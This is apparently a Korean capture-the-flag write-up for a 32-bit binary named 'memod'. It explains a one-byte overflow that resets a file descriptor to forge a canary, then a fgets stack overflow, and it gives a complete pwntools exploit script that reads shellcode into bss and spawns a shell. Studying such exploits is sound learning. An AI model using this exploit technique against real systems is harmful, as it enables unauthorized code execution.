문제
memod 바이너리의 checksec 결과는 다음과 같다.
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : disabled
file 명령어 결과는 다음과 같다.
memod: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.18, BuildID[sha1]=0609d9d923e140f16f00fe4df883f8250b195222, not stripped
바이너리 코드
...
char s; // [ebp-128h]
char file[32]; // [ebp-28h]
int fd; // [ebp-8h]
int s2;
...
for(i=0;i<=32;++i)
{
s=getchar();
if((unsigned int)(s-48) > 9)
{
file[i]=0;
break;
}
file[i]=s;
}
if(!file[0])
{
...
exit(0);
}
read(fd,&canary_backup,4u);
s2=canary_backup;
...
fgets(&s,512,stdin);
...
if(memcmp(&canary_backup,&s2,4u))
{
...
exit(-1);
}
return 0
for문에서 1byte overflow가 발생한다. 이를 통해서 fd에 1byte 값을 덮어쓸 수 있기 때문에 fd를 내가 원하는 값으로 변경할 수 있다. (파일 디스크립터는 사용하지 않는 가장 작은 파일 디스크립터 번호를 할당받는다. 0,1,2는 stdin, stdout, stderr)
fgets 함수에서 buffer overflow가 발생한다.
그리고 NX가 diabled되어 있기 때문에 bss 영역에서 shellcode를 실행할 수 있다.
exploit 방법
- 1byte overflow를 통해서 fd를 0으로 바꾼다. 이를 통해서 canary값을 내 입력값으로 바꿀 수 있다.
- canary값을 알고 있기 때문에 fgets 함수에서 발생하는 buffer overflow로 eip를 컨트롤 할 수 있다.
풀이
#!/usr/bin/python
from pwn import *
import time
file_path="/home/sungyun/round2/memod/memod"
p=process(file_path)
read_plt=0x80484f0
pppr=0x08048836
bss_sec=0x8049b90
shell = asm(shellcraft.sh())
pay="7"*32+"A" # 1byte bof -> fd = 0
p.send(pay)
time.sleep(0.5)
p.send("AAAA") # canary = 0x41414141
p.recvuntil(";p\n")
pay2="A"*300
pay2+=p32(read_plt)
pay2+=p32(pppr)
pay2+=p32(0)
pay2+=p32(bss_sec)
pay2+=p32(0x100)
pay2+=p32(bss_sec)
p.sendline(pay2)
time.sleep(0.5)
p.send(shell)
p.interactive()
알게 된 것
-
fgets / gets / scanf/ getchar 등의 함수는 입력 버퍼를 가지고 있다. 따라서 입력 버퍼에 저장되어 있는 입력값들을 입력으로 받는다. 하지만 read(0,&buf,0x100) 는 입력 버퍼에서 입력값을 읽어오는 것이 아니라 해당 함수가 호출된 이후에 들어오는 입력을 받는다.
=> fgets와 같은 함수로 입력을 받은 뒤 바로 read함수를 호출하는 경우 send 사이에 time.sleep()을 넣어줘야 한다. -
fgets, scanf, gets는 엔터까지 입력을 받기 때문에 .sendline으로 입력을 넣어줘야 한다. getchar, read 함수는 .send로 입력을 넣어준다.